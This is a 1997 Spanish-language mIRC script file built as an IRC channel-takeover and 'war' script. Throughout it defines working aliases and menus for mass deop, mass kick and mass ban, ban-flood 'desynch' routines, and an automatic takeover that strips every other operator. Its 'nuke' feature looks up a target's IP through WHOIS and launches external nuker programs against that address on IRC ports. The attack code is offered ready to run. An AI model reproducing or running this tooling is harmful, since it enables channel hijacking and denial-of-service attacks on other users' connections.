home *** CD-ROM | disk | FTP | other *** search
Wrap
INI File | 1997-09-12 | 25.2 KB | 478 lines
[cpopup] n0=Entrar a un Canal:/join #$?="Channel?" n1=- n2=Takeover al Canal: { n3= if ($me isop #) { /md -t } n4= else { error1 Has de tener OP } n5=} n6=Takeover Canal (menos alguien): { n7= if ($me isop #) { /md -ts $$?="Nick a Proteger" } n8= else { error1 Has de tener OP } n9=} n10=- n11=Desynch 1:/d1 n12=Desynch 2:/d2 n13=Desynch 3:/d3 n14=Desynch 4:/d4 $$?="Direcci≤n? (l a m e r)" n15=- n17=&Automatico Deop n18=.On:/ad On n19=.Off:/ad Off n20=- n21=Masivo Kick:/mk n22=Masivo Ban:/mb [users] [script] n0=#scan.user off n1=raw 401:*: set %User.Nick 0 | halt n2=raw 301:*: set %User.Away Yes | set %User.Reason $3- | halt n3=raw 311:*: set %User.Nick $2 | set %User.Address $3 $+ @ $+ $4 | set %User.Name $6- | halt n4=raw 312:*: set %User.Server $3 $parm4* | set %User.Zerver $3 | halt n5=raw 313:*: set %User.IRCop Yes | halt n6=raw 317:*: set %User.Idle $3 | halt n7=raw 319:*: set %User.Channels $3- | halt n8=raw 318:* { n9= if (%puertoz == On) { .disable #Scan.User | portscan | halt } n10= if (%User.Nick == 0) { error1 $2 no esta en el IRC | unset %user.* | .disable #Scan.User | halt } n11= window -moab @WH 50 50 650 180 20,20 n12= aline @WH 4whois de: %User.Nick n13= aline @WH 18Direcci≤n:1 %User.Address n14= aline @WH 18Nombre real:1 %User.Name n15= aline @WH 18Servidor:1 %User.Server n16= if (%User.Channels == $null) { aline @WH 18Canales:1 Ninguno } n17= else { aline @WH 18Canales:1 %User.Channels } n18= if (%User.Away != $null) { aline @WH 18Away:1 %User.Reason } n19= if (%User.IRCop != $null) { aline @WH 18IRCop:1 %User.IRCop } n20= aline @WH 4 Fin de Informacion de: %User.Nick n21= unset %User.* | .disable #Scan.User | halt n22=} n23=#Nuke off n24=raw 401:*: set %Nuke.Alive 0 | halt n25=raw 301:*: halt n26=raw 311:*: set %Nuke.Ip $4 | halt n27=raw 312:*: set %Nuke.Server $3 | halt n28=raw 313:*: halt n29=raw 317:*: halt n30=raw 319:*: halt n31=raw 318:* { n32= if (%nuke.Alive == 0) { error1 No puedo proceder a nukear %Nuke.Nick no esta en el IRC. | unset %nuke.* | .disable #nuke | halt } n33= .disable #Nuke n34= if (%cual == uno) { run $mircdirarmas\click4.exe %nuke.server %Nuke.IP } n35= if (%cual == dos) { run $mircdirarmas\click.exe %nuke.server %Nuke.IP -clp %nuke.clp -chp %nuke.chp -sp %nuke.sp -ports %nuke.ports %nuke.side } n36= if (%cual == cua) { run $mircdirarmas\wnuke4.exe -n %nuke.server %Nuke.IP 0 1024-2500 %nuke.pw } n37= meni 18 ----------------------------------------------- n38= meni 4 NUKEANDO A: $+ $chr(91) $+ $+ %Nuke.Nick $+ ( $+ %Nuke.IP $+ ) $+ $+ $chr(93) $+ n39= meni 18 ----------------------------------------------- n40= unset %nuke.* n41= unset %cual | halt n42=} n43=#nuke end n44=raw 367:*: { n45= if (%Group.Banlist == On) { n46= set %Temp.Bans %Temp.Bans $parm3 n47= halt n48= } n49= halt n50=} n51=raw 368:*: { n52= if (%Group.Banlist == On) { n53= unban %Temp.Bans n54= halt n55= } n56= halt n57=} n58=ctcp 1:*: { n59= if ([ %Ctcp. [ $+ [ $site ] ] ] == $null) { set %Ctcp. [ $+ [ $site ] ] 1 | .timer 1 10 /unset %Ctcp. [ $+ [ $site ] ] } n60= if ([ %Ctcp. [ $+ [ $site ] ] ] > 1) { n61= .ignore -ntu60 $nick 4 | .ignore -tu30 * n62= Echo 4 *** ATENCION! $nick ( $+ $address $+ ) esta $parm1 Floodeando! | unset %Ctcp. [ $+ [ $site ] ] n63= } n64= inc %Ctcp. [ $+ [ $site ] ] 1 | echo 4 -s $chr(91) $+ $nick $parm1 $+ $chr(93) | halt n65=} n66=;--------------------------------------------- n67=; Link Looker n68=;--------------------------------------------- n69=on 1:SNOTICE:*Net*Break*: { n70= echo 1 -s ---------------------------------------------------------------------------- n71= echo 2 -s 6òò NetSplit ╫ 4 $+ $parm7 $+ 6òò n72= echo 1 -s ---------------------------------------------------------------------------- n73= halt n74=} n75=on 1:SNOTICE:*Net*Junction*: { n76= echo 1 -s ----------------------------------------------------------------------- n77= echo 2 -s 6òò NetMerge ╫ 4 $+ $parm7 $+ 6òò n78= echo 1 -s ----------------------------------------------------------------------- n79= halt n80=} n81=;--------------------------------------------- n82=; Server Op Protect n83=;--------------------------------------------- n84=on 1:SNOTICE:*: halt n85=on @1!:SERVEROP:#:/mode $chan -o $opnick n86=;--------------------------------------------- n87=; Gain Ops n88=;--------------------------------------------- n89=on 1!:PART:%Var.HopChan: { n90= if (%Group.Hop == On) && ($chan == %Var.HopChan) && ($nick(1,$chan) == $me) && ($nick(2,$chan) == $null) && ($me !isop $chan) { raw -q part $chan | raw -q join $chan | echo 2 Intentando recuperar el op en $chan | halt } n91=} n92=on 1!:QUIT { n93= if (%Group.Hop == On) && ($nick(1,%Var.HopChan) == $me) && ($nick(2,%Var.HopChan) == $null) && ($me !isop %Var.HopChan) { raw -q part %Var.HopChan | raw -q join %Var.HopChan | echo 2 intentando recuperar el op en %Var.HopChan | halt } n94=} n95=;--------------------------------------------- n96=; Auto Deop n97=;--------------------------------------------- n98=on 1:OP:#: { n99= if ($opnick == $me) && (%Group.AutoTakeover == On) { n100= set %Var.Chan $chan n101= set %i 1 n102= set %Var.Index 1 n103= if (undernet isin $server) { set %Var.Num 6 } n104= else { set %Var.Num 4 } n105= :start n106= set %Var.User $opnick(%i,%Var.Chan) n107= if (%Var.User == $null) { raw mode %Var.Chan -oooooo %Var.Nick | echo 6 # Mass Deop On # Complete! | unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | halt } n108= if (%Var.User == $me) { inc %i 1 | goto start } n109= if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 } n110= inc %i 1 n111= goto start n112= } n113=} n114=alias /cb { set %Temp.BanChan # | set %Group.Banlist On | mode # b } n115=alias /unban { n116= if (undernet isin $server) { n117= if ($1 != $null) { raw -q mode %Temp.BanChan -bbbbbb $1 $2 $3 $4 $5 $6 } n118= if ($7 != $null) { raw -q mode %Temp.BanChan -bbbbbb $7 $8 $9 $10 $11 $12 } n119= if ($13 != $null) { raw -q mode %Temp.BanChan -bbbbbb $13 $14 $15 $16 $17 $18 } n120= if ($19 != $null) { raw -q mode %Temp.BanChan -bbbbbb $19 $20 $21 $22 $23 $24 } n121= if ($25 != $null) { raw -q mode %Temp.BanChan -bbbbbb $25 $26 $27 $28 $29 $30 } n122= } n123= else { n124= if ($1 != $null) { raw -q mode %Temp.BanChan -bbbb $1 $2 $3 $4 } n125= if ($5 != $null) { raw -q mode %Temp.BanChan -bbbb $5 $6 $7 $8 } n126= if ($9 != $null) { raw -q mode %Temp.BanChan -bbbb $9 $10 $11 $12 } n127= if ($13 != $null) { raw -q mode %Temp.BanChan -bbbb $13 $14 $15 $16 } n128= if ($17 != $null) { raw -q mode %Temp.BanChan -bbbb $17 $18 $19 $20 } n129= if ($21 != $null) { raw -q mode %Temp.BanChan -bbbb $21 $22 $23 $24 } n130= if ($25 != $null) { raw -q mode %Temp.BanChan -bbbb $25 $26 $27 $28 } n131= if ($29 != $null) { raw -q mode %Temp.BanChan -bb $29 $30 } n132= } n133= secho Borrados bans en %Temp.BanChan have been: n134= unset %Temp.* | set %Group.Banlist Off n135=} n136=alias /go { n137= if (*1 == $null) { error1 usa /GO [On|Off] [Canal] | halt } n138= if ($1 != Off) && ($2 == $null) { error1 usa /GO [On|Off] [Canal] | halt } n139= if ($1 == On) { set %Var.HopChan $2 | set %Group.Hop On | secho ON ganar Op ON | echo 2 -a 7th Intentando ganar Op en $2 cuando los demas usuarios no lo tengan. | halt } n140= if ($1 == Off) { set %Group.Hop Off | secho 2 OFF Ganar Ops OFF | halt } n141=} n142=;----------------------------------- n143=; Desynchs n144=;----------------------------------- n145=alias /d1 { n146= if ($me !isop #) { error1 Tienes que ser OP! | halt } n147= raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n148= raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n149= raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n150= raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n151= raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n152= raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n153= raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n154= raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n155=} n156=alias /d2 { n157= if ($me !isop #) { error1 Tienes que ser OP! | halt } n158= raw -q mode # +b-b+b-b+b-b *a*@* *a*@* *b*@* *b*@* *c*@* *c*@* n159= raw -q mode # +b-b+b-b+b-b *1*@* *1*@* *2*@* *2*@* *3*@* *3*@* n160= raw -q mode # +b-b+b-b+b-b *d*@* *d*@* *e*@* *e*@* *f*@* *f*@* n161= raw -q mode # +b-b+b-b+b-b *4*@* *4*@* *5*@* *5*@* *6*@* *6*@* n162= raw -q mode # +b-b+b-b+b-b *g*@* *g*@* *h*@* *h*@* *i*@* *i*@* n163= raw -q mode # +b-b+b-b+b-b *7*@* *7*@* *8*@* *8*@* *9*@* *9*@* n164= raw -q mode # +b-b+b-b+b-b *j*@* *j*@* *k*@* *k*@* *l*@* *l*@* n165= raw -q mode # +b-b+b-b+b-b *m*@* *m*@* *n*@* *n*@* *o*@* *o*@* n166=} n167=alias /d3 { n168= if ($me !isop #) { error1 Tienes que ser OP! | halt } n169= raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n170= raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n171= raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n172= raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n173= raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n174= raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n175= raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n176= raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n177=} n178=alias /d4 { n179= if ($me !isop #) { error1 Tienes que ser OP! | halt } n180= if (*1 = $null) { error1 usa /d4 q w e r t y | echo 4 Cambiar letras por direccion string | echo 4 por ej: /d4 l a m e r | halt } n181= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n182= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n183= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n184= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n185= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n186= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n187= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n188= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n189=} n190=alias /bb1 { n191= if ($me !isop #) { error1 Tienes que ser OP! | halt } n192= raw -q mode # +bbbb @ @ @ @ n193= raw -q mode # +bbbb @ @ @ @ n194= raw -q mode # +bbbb @ @ @ @ n195= raw -q mode # +bbbb @ @ @ @ n196=} n197=alias /bb2 { n198= if ($me !isop #) { error1 Tienes que ser OP! | halt } n199= raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- n200= raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- n201= raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- n202= raw -q mode # +bbbb ??????@????????????? !!!!!!@!!!!!!!!!!!!! ++++++@+++++++++++++ ------@------------- n203=} n204=alias /bb3 { n205= if ($me !isop #) { error1 Tienes que ser OP! | halt } n206= raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$ n207= raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$ n208= raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$ n209= raw -q mode # +bbbb ++++@++++++++++ ----@---------- ###-#@########## $$$$@$$$$$$$$$$ n210=} n211=;----------------------------------- n212=; Takeover shit n213=;----------------------------------- n214=alias /ad { n215= if ($1 == On) { n216= set %Group.AutoTakeover On n217= secho ON Automatico Massdeop ON n218= echo 2 When given ops, you will automatically deop the entire channel. n219= } n220= if ($1 == Off) { n221= set %Group.AutoTakeover Off n222= secho OFF Automatico Massdeop OFF n223= } n224= if (($1 != On) || ($1 != Off)) { error1 usa: /ad [On|Off] } n225=} n226=alias /rn { n227= if (*1 == $null) { error1 usa /RN [On|Off] [Delay] | halt } n228= if ($2 == $null) && ($1 != Off) { error1 usa /RN [On|Off] [Delay] | halt } n229= set %Temp.Time $2 | set %temp.mode $1 n230= if (%temp.mode == On) { n231= if (undernet isin $server) && (%temp.time <= 45) { error1 Undernet Only allows! } n232= else { .timer11 0 %temp.Time /randnick | randnick | echo 2 Cambiando a nick aleatorio cada %temp.time segundos. } n233= } n234= if (%temp.mode == Off) { .timer11 Off | echo 2 OFF Nick aleatorio OFF } n235=} n236=alias /lc { n237= if ($me !isop #) { error1 Tienes que ser OP! | halt } n238= if (*1 == $null) { error1 Usa /LC [On|Off] } n239= if ($1 == On) { n240= set %Var.Limited $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) n241= set %Var.Key $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(0,9) $+ $rand(0,9) n242= mode # +smtink %Var.Key n243= secho Mirando este canal n244= } n245= if ($1 == Off) { n246= mode # -smtink %Var.Key n247= secho No puedo mirar este canal n248= } n249=} n250=alias /randnick /nick $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) n251=alias /md { n252= if ($me !isop #) { error1 Tienes que ser OP! | halt } n253= set %Var.Chan $chan n254= set %i 1 n255= set %Var.Index 1 n256= if (s isin $1) { set %Var.Safe $$2 } n257= if (t isin $1) { set %Var.Take y } n258= if (undernet isin $server) { set %Var.Num 6 } n259= else { set %Var.Num 4 } n260= :start n261= set %Var.User $opnick(%i,%Var.Chan) n262= if (%Var.User == $null) { n263= raw -q mode %Var.Chan -oooooo %Var.Nick n264= if (%Var.Take == y) { /mode # +smpti | /topic %Var.Chan (wWw) http://www.arrakis.es/~jotch } n265= if (s isin $1) { raw -q mode # +o %Var.Safe | echo 2 -a Protegiendo: %Var.Safe } n266= echo %color.echo -a Mass Deop Completo: # n267= unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | unset %Var.Safe | unset %Var.Take | halt n268= } n269= if (%Var.User == $me) || (%Var.User == %Var.Safe) { inc %i 1 | goto start } n270= if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw -q mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 } n271= inc %i 1 n272= goto start n273=} n274=alias /mk { n275= if ($me !isop #) { error1 Tienes que ser OP! | halt } n276= set %i 1 n277= set %Var.Int 1 n278= :start n279= set %Var.Nick $nick(%i,#) n280= if (%Var.Nick == $null) { echo %color.echo # Mass Kick en # Completo! | unset %i | unset %Var.Nick | unset %Var.int | halt } n281= if (%Var.Nick != $me) { kick # %Var.Nick Mass Kick! N·mero: %Var.Int | inc %Var.int 1 } n282= inc %i 1 n283= goto start n284=} n285=on 1:START: { /dde wWw command "" /sf7 | /set %channel #$$?="canal a tomar" } [lpopup] n0=Darle op://mode # +o $$1 n1=- n2=&Nukearlo n3=.&Wnuke.IV n4=..4000:/set %cual cua | /set %nuke.pw 4000 | /nuke $$1 n5=..4400:/set %cual cua | /set %nuke.pw 4400 | /nuke $$1 n6=..- n7=..6665:/set %cual cua | /set %nuke.pw 6665 | /nuke $$1 n8=..6666:/set %cual cua | /set %nuke.pw 6666 | /nuke $$1 n9=..6667:/set %cual cua | /set %nuke.pw 6667 | /nuke $$1 n10=..6668:/set %cual cua | /set %nuke.pw 6668 | /nuke $$1 n11=..6669:/set %cual cua | /set %nuke.pw 6669 | /nuke $$1 n12=..- n13=..7000:/set %cual cua | /set %nuke.pw 7000 | /nuke $$1 n14=..7700:/set %cual cua | /set %nuke.pw 7700 | /nuke $$1 n15=..- n16=..Otro:/set %cual cua | /set %nuke.pw $?="puerto:" | /nuke $$1 n17=.- n18=.&Click1.4:/set %cual uno | /nuke $$1 n19=.- n20=.Click2.2 (normal) n21=..4000:/set %cual dos | set %nuke.sp 4000 | /nuke $1 n22=..4400:/set %cual dos | set %nuke.sp 4400 | /nuke $1 n23=..- n24=..6665:/set %cual dos | set %nuke.sp 6665 | /nuke $1 n25=..6666:/set %cual dos | set %nuke.sp 6666 | /nuke $1 n26=..6667:/set %cual dos | set %nuke.sp 6667 | /nuke $1 n27=..6668:/set %cual dos | set %nuke.sp 6668 | /nuke $1 n28=..6669:/set %cual dos | set %nuke.sp 6669 | /nuke $1 n29=..- n30=..7000:/set %cual dos | set %nuke.sp 7000 | /nuke $1 n31=..7700:/set %cual dos | set %nuke.sp 7700 | /nuke $1 n32=..- n33=..6665-6669:/set %cual dos | set %nuke.sp 6665-6669 | /nuke $1 n34=..- n35=..4000-7700:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 n36=.Click 2.2 (otros) n37=..Puerto-fijo:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -port n38=..Puertos-altos:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -high n39=..Server:/set %cual dos | set %nuke.sp 4000,4400,6665-6669,7000,7700 | /nuke $1 -server [aliases] n0=/error { window -moab @_ 50 50 400 40 20,20 | echo 4 -a $logo : ERROR | echo 18 -a *1 } n1=/error1 { window -moab @_ 50 50 400 40 20,20 | echo 4 -a $logo : ERROR | echo 18 -a *1 } n2= n3=/ad { n4= if ($1 == On) { n5= set %Group.AutoTakeover On n6= meni ON Automatico Masivo deop cuando te den @ ON n7= meni Cuando te den el op los desopearas automaticamente. n8= } n9= if ($1 == Off) { n10= set %Group.AutoTakeover Off n11= meni OFF Automatico Masivo deop OFF n12= } n13=} n14=/mk { n15= if ($me !isop #) { error1 No eres OPerador del canal | halt } n16= set %i 1 n17= set %Var.Int 1 n18= :start n19= set %Var.Nick $nick(%i,#) n20= if (%Var.Nick == $null) { meni Masivo Kick en # Completo | unset %i | unset %Var.Nick | unset %Var.int | halt } n21= if (%Var.Nick != $me) { kick # %Var.Nick Masivo Kick Numero: %Var.Int | inc %Var.int 1 } n22= inc %i 1 n23= goto start n24=} n25=/md { n26= if ($me !isop #) { error1 No eres OPerador del canal | halt } n27= set %Var.Chan $chan n28= set %i 1 n29= set %Var.Index 1 n30= if (s isin $1) { set %Var.Safe $$2 } n31= if (t isin $1) { set %Var.Take y } n32= if (undernet isin $server) { set %Var.Num 6 } n33= else { set %Var.Num 4 } n34= :start n35= set %Var.User $opnick(%i,%Var.Chan) n36= if (%Var.User == $null) { n37= raw -q mode %Var.Chan -oooooo %Var.Nick n38= if (%Var.Take == y) { /mode # +smpti | /topic # (wWw) vFinal "MeRcENaRioX" } n39= if (s isin $1) { raw -q mode # +o %Var.Safe | meni Protegiendo: %Var.Safe } n40= meni Masivo Deop Completo: # n41= unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | unset %Var.Safe | unset %Var.Take | halt n42= } n43= if (%Var.User == $me) || (%Var.User == %Var.Safe) { inc %i 1 | goto start } n44= if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw -q mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 } n45= inc %i 1 n46= goto start n47=} n48=/checkk /dde www command "" /meni <<Takeover-Conectado>> Servidor: $server n49=/meni $logo n50=/d1 { n51= if ($me !isop #) { error1 No eres OPerador de canal | halt } n52= raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n53= raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n54= raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n55= raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n56= raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n57= raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n58= raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n59= raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n60=} n61=/d2 { n62= if ($me !isop #) { error1 No eres OPerador de canal | halt } n63= raw -q mode # +b-b+b-b+b-b *a*@* *a*@* *b*@* *b*@* *c*@* *c*@* n64= raw -q mode # +b-b+b-b+b-b *1*@* *1*@* *2*@* *2*@* *3*@* *3*@* n65= raw -q mode # +b-b+b-b+b-b *d*@* *d*@* *e*@* *e*@* *f*@* *f*@* n66= raw -q mode # +b-b+b-b+b-b *4*@* *4*@* *5*@* *5*@* *6*@* *6*@* n67= raw -q mode # +b-b+b-b+b-b *g*@* *g*@* *h*@* *h*@* *i*@* *i*@* n68= raw -q mode # +b-b+b-b+b-b *7*@* *7*@* *8*@* *8*@* *9*@* *9*@* n69= raw -q mode # +b-b+b-b+b-b *j*@* *j*@* *k*@* *k*@* *l*@* *l*@* n70= raw -q mode # +b-b+b-b+b-b *m*@* *m*@* *n*@* *n*@* *o*@* *o*@* n71=} n72=/d3 { n73= if ($me !isop #) { error1 No eres OPerador de canal | halt } n74= raw -q mode # +bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n75= raw -q mode # +bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n76= raw -q mode # +bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n77= raw -q mode # +bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n78= raw -q mode # -bbbbbb *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* n79= raw -q mode # -bbbbbb *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* n80= raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* n81= raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* n82=} n83=/d4 { n84= if ($me !isop #) { error1 No eres OPerador de canal | halt } n85= if (*1 = $null) { error usa /d4 q w e r t y | halt } n86= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n87= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n88= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n89= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n90= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n91= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n92= raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n93= raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@* n94=} n95=/ad { n96= if ($1 == On) { n97= set %Group.AutoTakeover On n98= meni ON Automatico Masivo deop cuando te den @ ON n99= meni Cuando te den el op los desopearas automaticamente. n100= } n101= if ($1 == Off) { n102= set %Group.AutoTakeover Off n103= meni OFF Automatico Masivo deop OFF n104= } n105= if (($1 != On) || ($1 != Off)) { error1 usa: /ad [On|Off] } n106=} n107=/nuke { n108= if ($winsock == $false) { winsock.error | halt } n109= if ($1 == $null) { error Please use /nuke [Nick] | halt } n110= set %Nuke.Ports 32 n111= set %Nuke.Side -client | set %nuke.clp 1024 | set %nuke.chp 1400 n112= if (-high isin $2-) { set %nuke.clp 1024 | set %nuke.chp 2400 } n113= if (-port isin $2-) { set %nuke.sp $$?="Puerto a nukear?? (6667)" } n114= if (-server isin $2-) { set %nuke.Side -server } n115= set %nuke.nick $1 | .enable #Nuke | .raw whois $1 n116=} [variables] n0=%channel #jaen n1=%Group.AutoTakeover On